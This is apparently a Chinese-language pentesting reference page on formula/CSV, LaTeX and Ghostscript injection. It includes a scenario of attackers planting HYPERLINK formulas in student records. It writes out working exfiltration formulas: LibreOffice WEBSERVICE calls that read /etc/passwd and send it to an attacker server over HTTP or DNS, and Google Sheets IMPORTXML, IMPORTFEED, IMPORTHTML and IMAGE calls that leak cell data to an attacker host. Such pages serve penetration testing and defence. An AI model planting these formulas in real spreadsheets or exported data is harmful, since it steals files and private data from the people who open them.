Formula/CSV/Doc/LaTeX/GhostScript Injection
最后更新于
最后更新于
Try Hard Security Group
如果您的输入被反射到CSV文件(或任何其他可能会被Excel打开的文件)中,您可能可以放置Excel公式,当用户打开文件或用户在Excel表格中点击某个链接时,这些公式将被执行。
现在Excel会警告(多次)用户,当从Excel外部加载内容时,以防止用户进行恶意操作。因此,必须对最终有效载荷应用特别的社会工程技巧。
以下示例非常有用,可用于从最终的Excel表中窃取内容并向任意位置发出请求。但需要用户点击链接(并接受警告提示)。
以下示例摘自https://payatu.com/csv-injection-basic-to-exploit
想象一下,通过CSV注入攻击利用了学生记录管理系统中的安全漏洞。攻击者的主要目的是破坏教师用于管理学生详细信息的系统。该方法涉及攻击者将恶意有效载荷注入应用程序中,具体方法是在用于学生详细信息的字段中输入有害公式。攻击过程如下:
注入恶意有效载荷:
攻击者提交学生详细信息表单,但包含一种在电子表格中常用的公式(例如,=HYPERLINK("<malicious_link>","Click here")
)。
此公式旨在创建一个超链接,但指向攻击者控制的恶意服务器。
导出受损数据:
教师们不知情地使用应用程序的功能将数据导出到CSV文件中。
当打开CSV文件时,仍然包含恶意有效载荷。此有效载荷在电子表格中显示为可点击的超链接。
触发攻击:
教师点击超链接,认为它是学生详细信息的合法部分。
点击后,敏感数据(可能包括电子表格或教师计算机中的详细信息)被传输到攻击者的服务器。
记录数据:
攻击者的服务器接收并记录从教师计算机发送的敏感数据。
攻击者随后可以利用这些数据进行各种恶意用途,进一步危及学生和机构的隐私和安全。
查看 原始帖子 以获取更多详细信息。
在特定配置或较旧版本的Excel中,可以利用称为动态数据交换(DDE)的功能来执行任意命令。要利用此功能,必须启用以下设置:
转到“文件”→“选项”→“信任中心”→“信任中心设置”→“外部内容”,并启用动态数据交换服务器启动。
当打开包含恶意有效载荷的电子表格(如果用户接受警告)时,将执行有效载荷。例如,要启动计算器应用程序,有效载荷将是:
附加命令也可以被执行,比如使用 PowerShell 下载并执行文件:
LibreOffice Calc可用于读取本地文件并窃取数据。以下是一些方法:
从本地 /etc/passwd
文件中读取第一行:='file:///etc/passwd'#$passwd.A1
将读取的数据窃取到攻击者控制的服务器:=WEBSERVICE(CONCATENATE("http://<attacker IP>:8080/",('file:///etc/passwd'#$passwd.A1)))
多行数据窃取:=WEBSERVICE(CONCATENATE("http://<attacker IP>:8080/",('file:///etc/passwd'#$passwd.A1)&CHAR(36)&('file:///etc/passwd'#$passwd.A2)))
DNS数据窃取(将读取的数据作为DNS查询发送到攻击者控制的DNS服务器):=WEBSERVICE(CONCATENATE((SUBSTITUTE(MID((ENCODEURL('file:///etc/passwd'#$passwd.A19)),1,41),"%","-")),".<attacker domain>"))
Google Sheets提供可用于带外数据窃取的函数:
CONCATENATE:将字符串连接在一起 - =CONCATENATE(A2:E2)
IMPORTXML:从结构化数据类型导入数据 - =IMPORTXML(CONCAT("http://<attacker IP:Port>/123.txt?v=", CONCATENATE(A2:E2)), "//a/a10")
IMPORTFEED:导入RSS或ATOM源 - =IMPORTFEED(CONCAT("http://<attacker IP:Port>//123.txt?v=", CONCATENATE(A2:E2)))
IMPORTHTML:从HTML表格或列表导入数据 - =IMPORTHTML (CONCAT("http://<attacker IP:Port>/123.txt?v=", CONCATENATE(A2:E2)),"table",1)
IMPORTRANGE:从另一个电子表格中导入一系列单元格 - =IMPORTRANGE("https://docs.google.com/spreadsheets/d/[Sheet_Id]", "sheet1!A2:E2")
IMAGE:将图像插入单元格 - =IMAGE("https://<attacker IP:Port>/images/srpr/logo3w.png")
通常在互联网上找到的将LaTeX代码转换为PDF的服务器使用**pdflatex
**。
该程序使用3个主要属性来(禁止)允许命令执行:
--no-shell-escape
:禁用 \write18{command}
结构,即使在texmf.cnf文件中启用也是如此。
--shell-restricted
:与 --shell-escape
相同,但仅限于一组“安全”的预定义**命令(**在Ubuntu 16.04中,列表位于 /usr/share/texmf/web2c/texmf.cnf
)。
--shell-escape
:启用 \write18{command}
结构。该命令可以是任何shell命令。出于安全原因,通常禁止使用此结构。
然而,还有其他执行命令的方法,因此为了避免远程代码执行(RCE),非常重要使用 --shell-restricted
。
您可能需要使用包装器进行调整,如[或$。
命令的输入将被重定向到 stdin,使用临时文件来获取它。
如果遇到任何LaTex错误,请考虑使用base64来获取结果,以避免出现不良字符。
检查 https://blog.redteam-pentesting.de/2023/ghostscript-overview/
Try Hard Security Group